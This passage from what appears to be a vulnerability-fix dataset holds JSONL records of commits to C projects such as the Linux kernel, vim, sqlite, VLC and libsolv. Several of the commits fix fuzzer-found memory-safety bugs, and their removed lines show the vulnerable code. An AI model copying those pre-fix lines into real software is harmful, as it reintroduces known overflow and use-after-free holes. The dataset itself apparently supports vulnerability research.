PCIM_MSIX_VCTRL_MASK;\n+\n+\treturn 0;\n }\n \n int\n", "related": false}, {"section": "@@ -988,8 +994,10 @@ pci_emul_add_msixcap(struct pci_vdev *dev, int msgnum, int barnum)\n \tuint32_t tab_size;\n \tstruct msixcap msixcap;\n \n-\tassert(msgnum >= 1 && msgnum <= MAX_MSIX_TABLE_ENTRIES);\n-\tassert(barnum >= 0 && barnum <= PCIR_MAX_BAR_0);\n+\tif (msgnum > MAX_MSIX_TABLE_ENTRIES) {\n+\t\tpr_err(\"%s: Too many entries!\\n\", __func__);\n+\t\treturn -1;\n+\t}\n \n \ttab_size = msgnum * MSIX_TABLE_ENTRY_SIZE;\n \n", "related": false}, {"section": "@@ -1003,7 +1011,8 @@ pci_emul_add_msixcap(struct pci_vdev *dev, int msgnum, int barnum)\n \tdev->msix.pba_offset = tab_size;\n \tdev->msix.pba_size = PBA_SIZE(msgnum);\n \n-\tpci_msix_table_init(dev, msgnum);\n+\tif (pci_msix_table_init(dev, msgnum) != 0)\n+\t\treturn -1;\n \n \tpci_populate_msixcap(&msixcap, msgnum, barnum, tab_size);\n \n", "related": false}, {"section": "@@ -1143,7 +1152,6 @@ pci_emul_capwrite(struct pci_vdev *dev, int offset, int bytes, uint32_t val)\n \n \t\tcapoff = nextoff;\n \t}\n-\tassert(offset >= capoff);\n \n \t/*\n \t * Capability ID and Next Capability Pointer are readonly.\n", "related": false}, {"section": "@@ -1262,8 +1270,10 @@ init_pci(struct vmctx *ctx)\n \t\t\t\tif (fi->fi_name == NULL)\n \t\t\t\t\tcontinue;\n \t\t\t\tops = pci_emul_finddev(fi->fi_name);\n-\t\t\t\tassert(ops != NULL);\n-\n+\t\t\t\tif (!ops) {\n+\t\t\t\t\tpr_warn(\"No driver for device [%s]\\n\", fi->fi_name);\n+\t\t\t\t\tcontinue;\n+\t\t\t\t}\n \t\t\t\tpr_notice(\"pci init %s\\r\\n\", fi->fi_name);\n \t\t\t\terror = pci_emul_init(ctx, ops, bus, slot,\n \t\t\t\t func, fi);\n", "related": false}, {"section": "@@ -1348,7 +1358,8 @@ init_pci(struct vmctx *ctx)\n \tmr.size = (4ULL * 1024 * 1024 * 1024) - lowmem;\n \tmr.handler = pci_emul_fallback_handler;\n \terror = register_mem_fallback(&mr);\n-\tassert(error == 0);\n+\tif (error != 0)\n+\t\tgoto pci_emul_init_fail;\n \n \t/* ditto for the 64-bit PCI host aperture */\n \tbzero(&mr, sizeof(struct mem_range));\n", "related": false}, {"section": "@@ -1358,7 +1369,8 @@ init_pci(struct vmctx *ctx)\n \tmr.size = PCI_EMUL_MEMLIMIT64 - PCI_EMUL_MEMBASE64;\n \tmr.handler = pci_emul_fallback_handler;\n \terror = register_mem_fallback(&mr);\n-\tassert(error == 0);\n+\tif (error != 0)\n+\t\tgoto pci_emul_init_fail;\n \n \t/* PCI extended config space */\n \tbzero(&mr, sizeof(struct mem_range));\n", "related": false}, {"section": "@@ -1368,7 +1380,8 @@ init_pci(struct vmctx *ctx)\n \tmr.size = PCI_EMUL_ECFG_SIZE;\n \tmr.handler = pci_emul_ecfg_handler;\n \terror = register_mem(&mr);\n-\tassert(error == 0);\n+\tif (error != 0)\n+\t\tgoto pci_emul_init_fail;\n \n \treturn 0;\n \n", "related": false}, {"section": "@@ -1386,7 +1399,10 @@ init_pci(struct vmctx *ctx)\n \t\t\t\tif (success_cnt-- <= 0)\n \t\t\t\t\tbreak;\n \t\t\t\tops = pci_emul_finddev(fi->fi_name);\n-\t\t\t\tassert(ops != NULL);\n+\t\t\t\tif (!ops) {\n+\t\t\t\t\tpr_warn(\"No driver for device [%s]\\n\", fi->fi_name);\n+\t\t\t\t\tcontinue;\n+\t\t\t\t}\n \t\t\t\tpci_emul_deinit(ctx, ops, bus, slot,\n \t\t\t\t func, fi);\n \t\t\t}\n", "related": false}, {"section": "@@ -1441,8 +1457,10 @@ deinit_pci(struct vmctx *ctx)\n \t\t\t\tif (fi->fi_name == NULL)\n \t\t\t\t\tcontinue;\n \t\t\t\tops = pci_emul_finddev(fi->fi_name);\n-\t\t\t\tassert(ops != NULL);\n-\n+\t\t\t\tif (!ops) {\n+\t\t\t\t\tpr_warn(\"No driver for device [%s]\\n\", fi->fi_name);\n+\t\t\t\t\tcontinue;\n+\t\t\t\t}\n \t\t\t\tpr_notice(\"pci deinit %s\\n\", fi->fi_name);\n \t\t\t\tpci_emul_deinit(ctx, ops, bus, slot,\n \t\t\t\t func, fi);\n", "related": false}, {"section": "@@ -1559,7 +1577,6 @@ pci_bus_write_dsdt(int bus)\n \t\t\tgoto done;\n \t\t}\n \t}\n-\tassert(bi != NULL);\n \n \t/* i/o window */\n \tdsdt_line(\" WordIO (ResourceProducer, MinFixed, MaxFixed, \"\n", "related": false}, {"section": "@@ -1663,7 +1680,6 @@ pci_write_dsdt(void)\n int\n pci_bus_configured(int bus)\n {\n-\tassert(bus >= 0 && bus < MAXBUSES);\n \treturn (pci_businfo[bus] != NULL);\n }\n \n", "related": false}, {"section": "@@ -1752,7 +1768,10 @@ pci_lintr_request(struct pci_vdev *dev)\n \tint bestpin, bestcount, pin;\n \n \tbi = pci_businfo[dev->bus];\n-\tassert(bi != NULL);\n+\tif (bi == NULL) {\n+\t\tpr_err(\"%s: pci [%s] has wrong bus %d info!\\n\", __func__, dev->name, dev->bus);\n+\t\treturn;\n+\t}\n \n \t/*\n \t * Just allocate a pin from our slot. The pin will be\n", "related": false}, {"section": "@@ -1781,7 +1800,10 @@ pci_lintr_release(struct pci_vdev *dev)\n \tint pin;\n \n \tbi = pci_businfo[dev->bus];\n-\tassert(bi != NULL);\n+\tif (bi == NULL) {\n+\t\tpr_err(\"%s: pci [%s] has wrong bus %d info!\\n\", __func__, dev->name, dev->bus);\n+\t\treturn;\n+\t}\n \n \tsi = &bi->slotinfo[dev->slot];\n \n", "related": false}, {"section": "@@ -1802,7 +1824,10 @@ pci_lintr_route(struct pci_vdev *dev)\n \t\treturn;\n \n \tbi = pci_businfo[dev->bus];\n-\tassert(bi != NULL);\n+\tif (bi == NULL) {\n+\t\tpr_err(\"%s: pci [%s] has wrong bus %d info!\\n\", __func__, dev->name, dev->bus);\n+\t\treturn;\n+\t}\n \tii = &bi->slotinfo[dev->slot].si_intpins[dev->lintr.pin - 1];\n \n \t/*\n", "related": false}, {"section": "@@ -1811,15 +1836,13 @@ pci_lintr_route(struct pci_vdev *dev)\n \t */\n \tif (ii->ii_ioapic_irq == 0)\n \t\tii->ii_ioapic_irq = ioapic_pci_alloc_irq(dev);\n-\tassert(ii->ii_ioapic_irq > 0);\n \n \t/*\n \t * Attempt to allocate a PIRQ pin for this intpin if one is\n \t * not yet assigned.\n \t */\n \tif (ii->ii_pirq_pin == 0)\n \t\tii->ii_pirq_pin = pirq_alloc_pin(dev);\n-\tassert(ii->ii_pirq_pin > 0);\n \n \tdev->lintr.ioapic_irq = ii->ii_ioapic_irq;\n \tdev->lintr.pirq_pin = ii->ii_pirq_pin;\n", "related": false}, {"section": "@@ -1836,7 +1859,10 @@ pci_lintr_route(struct pci_vdev *dev)\n void\n pci_lintr_assert(struct pci_vdev *dev)\n {\n-\tassert(dev->lintr.pin > 0);\n+\tif (dev->lintr.pin <= 0) {\n+\t\tpr_warn(\"%s: Invalid intr pin on dev [%s]\\n\", __func__, dev->name);\n+\t\treturn;\n+\t}\n \n \tpthread_mutex_lock(&dev->lintr.lock);\n \tif (dev->lintr.state == IDLE) {\n", "related": false}, {"section": "@@ -1859,7 +1885,10 @@ pci_lintr_assert(struct pci_vdev *dev)\n void\n pci_lintr_deassert(struct pci_vdev *dev)\n {\n-\tassert(dev->lintr.pin > 0);\n+\tif (dev->lintr.pin <= 0) {\n+\t\tpr_warn(\"%s: Invalid intr pin on dev [%s]\\n\", __func__, dev->name);\n+\t\treturn;\n+\t}\n \n \tpthread_mutex_lock(&dev->lintr.lock);\n \tif (dev->lintr.state == ASSERTED) {\n", "related": false}, {"section": "@@ -2031,7 +2060,8 @@ pci_emul_cmdsts_write(struct pci_vdev *dev, int coff, uint32_t new, int bytes)\n \t\t\t}\n \t\t\tbreak;\n \t\tdefault:\n-\t\t\tassert(0);\n+\t\t\tpr_err(\"%s: invalid bar type %d\\n\", __func__, dev->bar[i].type);\n+\t\t\treturn;\n \t\t}\n \t}\n \n", "related": false}, {"section": "@@ -2196,7 +2226,6 @@ pci_cfgrw(struct vmctx *ctx, int vcpu, int in, int bus, int slot, int func,\n \t\t\t\t}\n \t\t\t\tbreak;\n \t\t\tcase PCIBAR_MEMHI64:\n-\t\t\t\tassert(idx >= 1);\n \t\t\t\tmask = ~(dev->bar[idx - 1].size - 1);\n \t\t\t\taddr = ((uint64_t)*eax << 32) & mask;\n \t\t\t\tbar = addr >> 32;\n", "related": false}, {"section": "@@ -2207,7 +2236,8 @@ pci_cfgrw(struct vmctx *ctx, int vcpu, int in, int bus, int slot, int func,\n \t\t\t\t}\n \t\t\t\tbreak;\n \t\t\tdefault:\n-\t\t\t\tassert(0);\n+\t\t\t\tpr_err(\"%s: invalid bar type %d\\n\", __func__, dev->bar[idx].type);\n+\t\t\t\treturn;\n \t\t\t}\n \t\t\tpci_set_cfgdata32(dev, coff, bar);\n \n", "related": false}, {"section": "@@ -2307,7 +2337,6 @@ struct pci_emul_dummy {\n static int\n pci_emul_dinit(struct vmctx *ctx, struct pci_vdev *dev, char *opts)\n {\n-\tint error;\n \tstruct pci_emul_dummy *dummy;\n \n \tdummy = calloc(1, sizeof(struct pci_emul_dummy));\n", "related": false}, {"section": "@@ -2318,19 +2347,10 @@ pci_emul_dinit(struct vmctx *ctx, struct pci_vdev *dev, char *opts)\n \tpci_set_cfgdata16(dev, PCIR_VENDOR, 0x10DD);\n \tpci_set_cfgdata8(dev, PCIR_CLASS, 0x02);\n \n-\terror = pci_emul_add_msicap(dev, PCI_EMUL_MSI_MSGS);\n-\tassert(error == 0);\n-\n-\terror = pci_emul_alloc_bar(dev, 0, PCIBAR_IO, DIOSZ);\n-\tassert(error == 0);\n-\n-\terror = pci_emul_alloc_bar(dev, 1, PCIBAR_MEM32, DMEMSZ);\n-\tassert(error == 0);\n-\n-\terror = pci_emul_alloc_bar(dev, 2, PCIBAR_MEM32, DMEMSZ);\n-\tassert(error == 0);\n-\n-\treturn 0;\n+\treturn pci_emul_add_msicap(dev, PCI_EMUL_MSI_MSGS) ||\n+\t\tpci_emul_alloc_bar(dev, 0, PCIBAR_IO, DIOSZ) ||\n+\t\tpci_emul_alloc_bar(dev, 1, PCIBAR_MEM32, DMEMSZ) ||\n+\t\tpci_emul_alloc_bar(dev, 2, PCIBAR_MEM32, DMEMSZ);\n }\n \n static void\n", "related": false}, {"section": "@@ -2467,7 +2487,8 @@ pci_get_vdev_info(int slot)\n \tstruct pci_vdev *dev = NULL;\n \n \tbi = pci_businfo[0];\n-\tassert(bi != NULL);\n+\tif (bi == NULL)\n+\t\treturn NULL;\n \n \tsi = &bi->slotinfo[slot];\n \tif (si != NULL)", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "drivers/crypto/ccp/ccp-ops.c", "commit_id": "128c66429247add5128c03dc1e144ca56f05a4e2", "commit_message": "crypto: ccp - Release all allocated memory if sha type is invalid\n\nRelease all allocated memory if sha type is invalid:\nIn ccp_run_sha_cmd, if the type of sha is invalid, the allocated\nhmac_buf should be released.\n\nv2: fix the goto.\n\nSigned-off-by: Navid Emamdoost \nAcked-by: Gary R Hook \nSigned-off-by: Herbert Xu ", "patch": "@@ -1777,8 +1777,9 @@ ccp_run_sha_cmd(struct ccp_cmd_queue *cmd_q, struct ccp_cmd *cmd)\n \t\t\t LSB_ITEM_SIZE);\n \t\t\tbreak;\n \t\tdefault:\n+\t\t\tkfree(hmac_buf);\n \t\t\tret = -EINVAL;\n-\t\t\tgoto e_ctx;\n+\t\t\tgoto e_data;\n \t\t}\n \n \t\tmemset(&hmac_cmd, 0, sizeof(hmac_cmd));", "sections": [{"section": "@@ -1777,8 +1777,9 @@ ccp_run_sha_cmd(struct ccp_cmd_queue *cmd_q, struct ccp_cmd *cmd)\n \t\t\t LSB_ITEM_SIZE);\n \t\t\tbreak;\n \t\tdefault:\n+\t\t\tkfree(hmac_buf);\n \t\t\tret = -EINVAL;\n-\t\t\tgoto e_ctx;\n+\t\t\tgoto e_data;\n \t\t}\n \n \t\tmemset(&hmac_cmd, 0, sizeof(hmac_cmd));", "related": true}]} +{"owner": "vim", "repo": "vim", "language": "C", "file_name": "src/window.c", "commit_id": "ec66c41d84e574baf8009dbc0bd088d2bc5b2421", "commit_message": "patch 8.1.2136: using freed memory with autocmd from fuzzer\n\nProblem: using freed memory with autocmd from fuzzer. (Dhiraj Mishra,\n Dominique Pelle)\nSolution: Avoid using \"wp\" after autocommands. (closes #5041)", "patch": "@@ -4641,6 +4641,7 @@ win_enter_ext(\n #ifdef FEAT_JOB_CHANNEL\n entering_window(curwin);\n #endif\n+ // Careful: autocommands may close the window and make \"wp\" invalid\n if (trigger_new_autocmds)\n \tapply_autocmds(EVENT_WINNEW, NULL, NULL, FALSE, curbuf);\n if (trigger_enter_autocmds)\n@@ -4655,7 +4656,7 @@ win_enter_ext(\n #endif\n curwin->w_redr_status = TRUE;\n #ifdef FEAT_TERMINAL\n- if (bt_terminal(wp->w_buffer))\n+ if (bt_terminal(curwin->w_buffer))\n \t// terminal is likely in another mode\n \tredraw_mode = TRUE;\n #endif", "sections": [{"section": "@@ -4641,6 +4641,7 @@ win_enter_ext(\n #ifdef FEAT_JOB_CHANNEL\n entering_window(curwin);\n #endif\n+ // Careful: autocommands may close the window and make \"wp\" invalid\n if (trigger_new_autocmds)\n \tapply_autocmds(EVENT_WINNEW, NULL, NULL, FALSE, curbuf);\n if (trigger_enter_autocmds)\n", "related": false}, {"section": "@@ -4655,7 +4656,7 @@ win_enter_ext(\n #endif\n curwin->w_redr_status = TRUE;\n #ifdef FEAT_TERMINAL\n- if (bt_terminal(wp->w_buffer))\n+ if (bt_terminal(curwin->w_buffer))\n \t// terminal is likely in another mode\n \tredraw_mode = TRUE;\n #endif", "related": false}]} +{"owner": "sqlite", "repo": "sqlite", "language": "C", "file_name": "src/select.c", "commit_id": "396afe6f6aa90a31303c183e11b2b2d4b7956b35", "commit_message": "Continue to back away from the LEFT JOIN optimization of check-in [41c27bc0ff1d3135]\nby disallowing query flattening if the outer query is DISTINCT. Without this fix,\nif an index scan is run on the table within the view on the right-hand side of the\nLEFT JOIN, stale result registers might be accessed yielding incorrect results,\nand/or an OP_IfNullRow opcode might be invoked on the un-opened table, resulting\nin a NULL-pointer dereference. This problem was found by the Yongheng and Rui fuzzer.\n\nFossilOrigin-Name: 862974312edf00e9d1068115d1a39b7235b7db68b6d86b81d38a12f025a4748e", "patch": "@@ -3600,6 +3600,7 @@ static void substSelect(\n ** (3b) the FROM clause of the subquery may not contain a virtual\n ** table and\n ** (3c) the outer query may not be an aggregate.\n+** (3d) the outer query may not be DISTINCT.\n **\n ** (4) The subquery can not be DISTINCT.\n **\n@@ -3796,8 +3797,11 @@ static int flattenSubquery(\n */\n if( (pSubitem->fg.jointype & JT_OUTER)!=0 ){\n isLeftJoin = 1;\n- if( pSubSrc->nSrc>1 || isAgg || IsVirtual(pSubSrc->a[0].pTab) ){\n- /* (3a) (3c) (3b) */\n+ if( pSubSrc->nSrc>1 /* (3a) */\n+ || isAgg /* (3b) */\n+ || IsVirtual(pSubSrc->a[0].pTab) /* (3c) */\n+ || (p->selFlags & SF_Distinct)!=0 /* (3d) */\n+ ){\n return 0;\n }\n }", "sections": [{"section": "@@ -3600,6 +3600,7 @@ static void substSelect(\n ** (3b) the FROM clause of the subquery may not contain a virtual\n ** table and\n ** (3c) the outer query may not be an aggregate.\n+** (3d) the outer query may not be DISTINCT.\n **\n ** (4) The subquery can not be DISTINCT.\n **\n", "related": false}, {"section": "@@ -3796,8 +3797,11 @@ static int flattenSubquery(\n */\n if( (pSubitem->fg.jointype & JT_OUTER)!=0 ){\n isLeftJoin = 1;\n- if( pSubSrc->nSrc>1 || isAgg || IsVirtual(pSubSrc->a[0].pTab) ){\n- /* (3a) (3c) (3b) */\n+ if( pSubSrc->nSrc>1 /* (3a) */\n+ || isAgg /* (3b) */\n+ || IsVirtual(pSubSrc->a[0].pTab) /* (3c) */\n+ || (p->selFlags & SF_Distinct)!=0 /* (3d) */\n+ ){\n return 0;\n }\n }", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "include/trace/events/f2fs.h", "commit_id": "4969c06a0d83c9c3dc50b8efcdc8eeedfce896f6", "commit_message": "f2fs: support swap file w/ DIO\n\nSigned-off-by: Jaegeuk Kim ", "patch": "@@ -1028,8 +1028,8 @@ DECLARE_EVENT_CLASS(f2fs__submit_page_bio,\n \t),\n \n \tTP_fast_assign(\n-\t\t__entry->dev\t\t= page->mapping->host->i_sb->s_dev;\n-\t\t__entry->ino\t\t= page->mapping->host->i_ino;\n+\t\t__entry->dev\t\t= page_file_mapping(page)->host->i_sb->s_dev;\n+\t\t__entry->ino\t\t= page_file_mapping(page)->host->i_ino;\n \t\t__entry->index\t\t= page->index;\n \t\t__entry->old_blkaddr\t= fio->old_blkaddr;\n \t\t__entry->new_blkaddr\t= fio->new_blkaddr;\n@@ -1216,10 +1216,11 @@ DECLARE_EVENT_CLASS(f2fs__page,\n \t),\n \n \tTP_fast_assign(\n-\t\t__entry->dev\t= page->mapping->host->i_sb->s_dev;\n-\t\t__entry->ino\t= page->mapping->host->i_ino;\n+\t\t__entry->dev\t= page_file_mapping(page)->host->i_sb->s_dev;\n+\t\t__entry->ino\t= page_file_mapping(page)->host->i_ino;\n \t\t__entry->type\t= type;\n-\t\t__entry->dir\t= S_ISDIR(page->mapping->host->i_mode);\n+\t\t__entry->dir\t=\n+\t\t\tS_ISDIR(page_file_mapping(page)->host->i_mode);\n \t\t__entry->index\t= page->index;\n \t\t__entry->dirty\t= PageDirty(page);\n \t\t__entry->uptodate = PageUptodate(page);", "sections": [{"section": "@@ -1028,8 +1028,8 @@ DECLARE_EVENT_CLASS(f2fs__submit_page_bio,\n \t),\n \n \tTP_fast_assign(\n-\t\t__entry->dev\t\t= page->mapping->host->i_sb->s_dev;\n-\t\t__entry->ino\t\t= page->mapping->host->i_ino;\n+\t\t__entry->dev\t\t= page_file_mapping(page)->host->i_sb->s_dev;\n+\t\t__entry->ino\t\t= page_file_mapping(page)->host->i_ino;\n \t\t__entry->index\t\t= page->index;\n \t\t__entry->old_blkaddr\t= fio->old_blkaddr;\n \t\t__entry->new_blkaddr\t= fio->new_blkaddr;\n", "related": false}, {"section": "@@ -1216,10 +1216,11 @@ DECLARE_EVENT_CLASS(f2fs__page,\n \t),\n \n \tTP_fast_assign(\n-\t\t__entry->dev\t= page->mapping->host->i_sb->s_dev;\n-\t\t__entry->ino\t= page->mapping->host->i_ino;\n+\t\t__entry->dev\t= page_file_mapping(page)->host->i_sb->s_dev;\n+\t\t__entry->ino\t= page_file_mapping(page)->host->i_ino;\n \t\t__entry->type\t= type;\n-\t\t__entry->dir\t= S_ISDIR(page->mapping->host->i_mode);\n+\t\t__entry->dir\t=\n+\t\t\tS_ISDIR(page_file_mapping(page)->host->i_mode);\n \t\t__entry->index\t= page->index;\n \t\t__entry->dirty\t= PageDirty(page);\n \t\t__entry->uptodate = PageUptodate(page);", "related": false}]} +{"owner": "chromium", "repo": "chromium", "language": "C", "file_name": "device/bluetooth/bluetooth_adapter_mac.h", "commit_id": "b8ffd1e064d06e233301fc526306a0f61003bebb", "commit_message": "[bluetooth] Handle adapter destruction during discovery callbacks\n\nBluetoothAdapter::OnDiscoveryChangeComplete() needs to be able to handle\nthe case where a callback destroys the BluetoothAdapter.\n\nThis issue was not noticed in tests because TestBluetoothAdapter takes a\nreference to the BluetoothAdapter when executing these callbacks. It\nhas been updated to use a WeakPtr as the real backends do.\n\nI noticed that both BluetoothAdapter and nearly all of its subclasses\nhave a WeakPtrFactory. The factory in the base class has been removed\nand subclasses are required to provide their own.\n\nBug: 1025067\nChange-Id: I91f952e01fd3bda618455f294ce0cba2e2a7dad1\nReviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1922298\nCommit-Queue: Reilly Grant \nReviewed-by: Ovidio de Jesús Ruiz-Henríquez \nCr-Commit-Position: refs/heads/master@{#716465}", "patch": "@@ -124,6 +124,7 @@ class DEVICE_BLUETOOTH_EXPORT BluetoothAdapterMac\n base::RepeatingCallback;\n \n // BluetoothAdapter override:\n+ base::WeakPtr GetWeakPtr() override;\n bool SetPoweredImpl(bool powered) override;\n void RemovePairingDelegateInternal(\n device::BluetoothDevice::PairingDelegate* pairing_delegate) override;", "sections": [{"section": "@@ -124,6 +124,7 @@ class DEVICE_BLUETOOTH_EXPORT BluetoothAdapterMac\n base::RepeatingCallback;\n \n // BluetoothAdapter override:\n+ base::WeakPtr GetWeakPtr() override;\n bool SetPoweredImpl(bool powered) override;\n void RemovePairingDelegateInternal(\n device::BluetoothDevice::PairingDelegate* pairing_delegate) override;", "related": false}]} +{"owner": "chromium", "repo": "chromium", "language": "C", "file_name": "device/bluetooth/test/fake_central.cc", "commit_id": "b8ffd1e064d06e233301fc526306a0f61003bebb", "commit_message": "[bluetooth] Handle adapter destruction during discovery callbacks\n\nBluetoothAdapter::OnDiscoveryChangeComplete() needs to be able to handle\nthe case where a callback destroys the BluetoothAdapter.\n\nThis issue was not noticed in tests because TestBluetoothAdapter takes a\nreference to the BluetoothAdapter when executing these callbacks. It\nhas been updated to use a WeakPtr as the real backends do.\n\nI noticed that both BluetoothAdapter and nearly all of its subclasses\nhave a WeakPtrFactory. The factory in the base class has been removed\nand subclasses are required to provide their own.\n\nBug: 1025067\nChange-Id: I91f952e01fd3bda618455f294ce0cba2e2a7dad1\nReviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1922298\nCommit-Queue: Reilly Grant \nReviewed-by: Ovidio de Jesús Ruiz-Henríquez \nCr-Commit-Position: refs/heads/master@{#716465}", "patch": "@@ -584,6 +584,10 @@ device::BluetoothLocalGattService* FakeCentral::GetGattService(\n return nullptr;\n }\n \n+base::WeakPtr FakeCentral::GetWeakPtr() {\n+ return weak_ptr_factory_.GetWeakPtr();\n+}\n+\n bool FakeCentral::SetPoweredImpl(bool powered) {\n NOTREACHED();\n return false;", "sections": [{"section": "@@ -584,6 +584,10 @@ device::BluetoothLocalGattService* FakeCentral::GetGattService(\n return nullptr;\n }\n \n+base::WeakPtr FakeCentral::GetWeakPtr() {\n+ return weak_ptr_factory_.GetWeakPtr();\n+}\n+\n bool FakeCentral::SetPoweredImpl(bool powered) {\n NOTREACHED();\n return false;", "related": false}]} +{"owner": "sqlite", "repo": "sqlite", "language": "C", "file_name": "src/sqliteInt.h", "commit_id": "38096961c7cd109110ac21d3ed7dad7e0cb0ae06", "commit_message": "Avoid infinite recursion in the ALTER TABLE code when a view contains an unused CTE that references, directly or indirectly, the view itself.\n\nFossilOrigin-Name: 1d2e53a39b87e364685e21de137655b6eee725e4c6d27fc90865072d7c5892b5", "patch": "@@ -2956,6 +2956,7 @@ struct Select {\n #define SF_ComplexResult 0x0040000 /* Result contains subquery or function */\n #define SF_WhereBegin 0x0080000 /* Really a WhereBegin() call. Debug Only */\n #define SF_WinRewrite 0x0100000 /* Window function rewrite accomplished */\n+#define SF_View 0x0200000 /* SELECT statement is a view */\n \n /*\n ** The results of a SELECT can be distributed in several ways, as defined", "sections": [{"section": "@@ -2956,6 +2956,7 @@ struct Select {\n #define SF_ComplexResult 0x0040000 /* Result contains subquery or function */\n #define SF_WhereBegin 0x0080000 /* Really a WhereBegin() call. Debug Only */\n #define SF_WinRewrite 0x0100000 /* Window function rewrite accomplished */\n+#define SF_View 0x0200000 /* SELECT statement is a view */\n \n /*\n ** The results of a SELECT can be distributed in several ways, as defined", "related": false}]} +{"owner": "opensc", "repo": "opensc", "language": "C", "file_name": "src/libopensc/pkcs15-prkey.c", "commit_id": "6ce6152284c47ba9b1d4fe8ff9d2e6a3f5ee02c7", "commit_message": "pkcs15-prkey: Simplify cleaning memory after failure\n\nhttps://bugs.chromium.org/p/oss-fuzz/issues/detail?id=18478", "patch": "@@ -260,10 +260,7 @@ int sc_pkcs15_decode_prkdf_entry(struct sc_pkcs15_card *p15card,\n \tr = sc_asn1_decode_choice(ctx, asn1_prkey, *buf, *buflen, buf, buflen);\n \tif (r < 0) {\n \t\t/* This might have allocated something. If so, clear it now */\n-\t\tif (asn1_com_prkey_attr->flags & SC_ASN1_PRESENT &&\n-\t\t\tasn1_com_prkey_attr[0].flags & SC_ASN1_PRESENT) {\n-\t\t\tfree(asn1_com_prkey_attr[0].parm);\n-\t\t}\n+\t\tfree(info.subject.value);\n \t}\n \tif (r == SC_ERROR_ASN1_END_OF_CONTENTS)\n \t\treturn r;", "sections": [{"section": "@@ -260,10 +260,7 @@ int sc_pkcs15_decode_prkdf_entry(struct sc_pkcs15_card *p15card,\n \tr = sc_asn1_decode_choice(ctx, asn1_prkey, *buf, *buflen, buf, buflen);\n \tif (r < 0) {\n \t\t/* This might have allocated something. If so, clear it now */\n-\t\tif (asn1_com_prkey_attr->flags & SC_ASN1_PRESENT &&\n-\t\t\tasn1_com_prkey_attr[0].flags & SC_ASN1_PRESENT) {\n-\t\t\tfree(asn1_com_prkey_attr[0].parm);\n-\t\t}\n+\t\tfree(info.subject.value);\n \t}\n \tif (r == SC_ERROR_ASN1_END_OF_CONTENTS)\n \t\treturn r;", "related": false}]} +{"owner": "videolan", "repo": "vlc", "language": "C", "file_name": "modules/demux/mp4/libmp4.c", "commit_id": "2e7c7091a61aa5d07e7997b393d821e91f593c39", "commit_message": "demux: mp4: fix buffer overflow in parsing of string boxes.\n\nWe ensure that pbox->i_size is never smaller than 8 to avoid an\ninteger underflow in the third argument of the subsequent call to\nmemcpy. We also make sure no truncation occurs when passing values\nderived from the 64 bit integer p_box->i_size to arguments of malloc\nand memcpy that may be 32 bit integers on 32 bit platforms.\n\nSigned-off-by: Jean-Baptiste Kempf ", "patch": "@@ -2858,6 +2858,9 @@ static int MP4_ReadBox_String( stream_t *p_stream, MP4_Box_t *p_box )\n {\n MP4_READBOX_ENTER( MP4_Box_data_string_t );\n \n+ if( p_box->i_size < 8 || p_box->i_size > SIZE_MAX )\n+ MP4_READBOX_EXIT( 0 );\n+\n p_box->data.p_string->psz_text = malloc( p_box->i_size + 1 - 8 ); /* +\\0, -name, -size */\n if( p_box->data.p_string->psz_text == NULL )\n MP4_READBOX_EXIT( 0 );", "sections": [{"section": "@@ -2858,6 +2858,9 @@ static int MP4_ReadBox_String( stream_t *p_stream, MP4_Box_t *p_box )\n {\n MP4_READBOX_ENTER( MP4_Box_data_string_t );\n \n+ if( p_box->i_size < 8 || p_box->i_size > SIZE_MAX )\n+ MP4_READBOX_EXIT( 0 );\n+\n p_box->data.p_string->psz_text = malloc( p_box->i_size + 1 - 8 ); /* +\\0, -name, -size */\n if( p_box->data.p_string->psz_text == NULL )\n MP4_READBOX_EXIT( 0 );", "related": false}]} +{"owner": "cesnet", "repo": "libyang", "language": "C", "file_name": "src/tree_internal.h", "commit_id": "32fb4993bc8bb49e93e84016af3c10ea53964be5", "commit_message": "schema tree BUGFIX do not check features while still resolving schema\n\nFixes #723", "patch": "@@ -485,12 +485,13 @@ int lys_get_sibling(const struct lys_node *siblings, const char *mod_name, int m\n * @param[in] name Node name.\n * @param[in] nam_len Node \\p name length.\n * @param[in] type ORed desired type of the node. 0 means any (data node) type.\n+ * @param[in] getnext_opts lys_getnext() options to use.\n * @param[out] ret Pointer to the node of the desired type. Can be NULL.\n *\n * @return EXIT_SUCCESS on success, EXIT_FAILURE on fail.\n */\n int lys_getnext_data(const struct lys_module *mod, const struct lys_node *parent, const char *name, int nam_len,\n- LYS_NODE type, const struct lys_node **ret);\n+ LYS_NODE type, int getnext_opts, const struct lys_node **ret);\n \n int lyd_get_unique_default(const char* unique_expr, struct lyd_node *list, const char **dflt);\n ", "sections": [{"section": "@@ -485,12 +485,13 @@ int lys_get_sibling(const struct lys_node *siblings, const char *mod_name, int m\n * @param[in] name Node name.\n * @param[in] nam_len Node \\p name length.\n * @param[in] type ORed desired type of the node. 0 means any (data node) type.\n+ * @param[in] getnext_opts lys_getnext() options to use.\n * @param[out] ret Pointer to the node of the desired type. Can be NULL.\n *\n * @return EXIT_SUCCESS on success, EXIT_FAILURE on fail.\n */\n int lys_getnext_data(const struct lys_module *mod, const struct lys_node *parent, const char *name, int nam_len,\n- LYS_NODE type, const struct lys_node **ret);\n+ LYS_NODE type, int getnext_opts, const struct lys_node **ret);\n \n int lyd_get_unique_default(const char* unique_expr, struct lyd_node *list, const char **dflt);\n ", "related": false}]} +{"owner": "opensuse", "repo": "libsolv", "language": "C", "file_name": "src/repodata.c", "commit_id": "fdb9c9c03508990e4583046b590c30d958f272da", "commit_message": "repodata_schema2id: fix heap-buffer-overflow in memcmp\n\nWhen the length of last schema in data->schemadata is\nless than length of input schema, we got a read overflow\nin asan test.\n\nSigned-off-by: Zhipeng Xie ", "patch": "@@ -211,11 +211,13 @@ repodata_schema2id(Repodata *data, Id *schema, int create)\n cid = schematahash[h];\n if (cid)\n {\n- if (!memcmp(data->schemadata + data->schemata[cid], schema, len * sizeof(Id)))\n+ if ((data->schemata[cid] + len <= data->schemadatalen) &&\n+\t\t\t !memcmp(data->schemadata + data->schemata[cid], schema, len * sizeof(Id)))\n return cid;\n /* cache conflict, do a slow search */\n for (cid = 1; cid < data->nschemata; cid++)\n- if (!memcmp(data->schemadata + data->schemata[cid], schema, len * sizeof(Id)))\n+ if ((data->schemata[cid] + len <= data->schemadatalen) &&\n+\t\t\t\t!memcmp(data->schemadata + 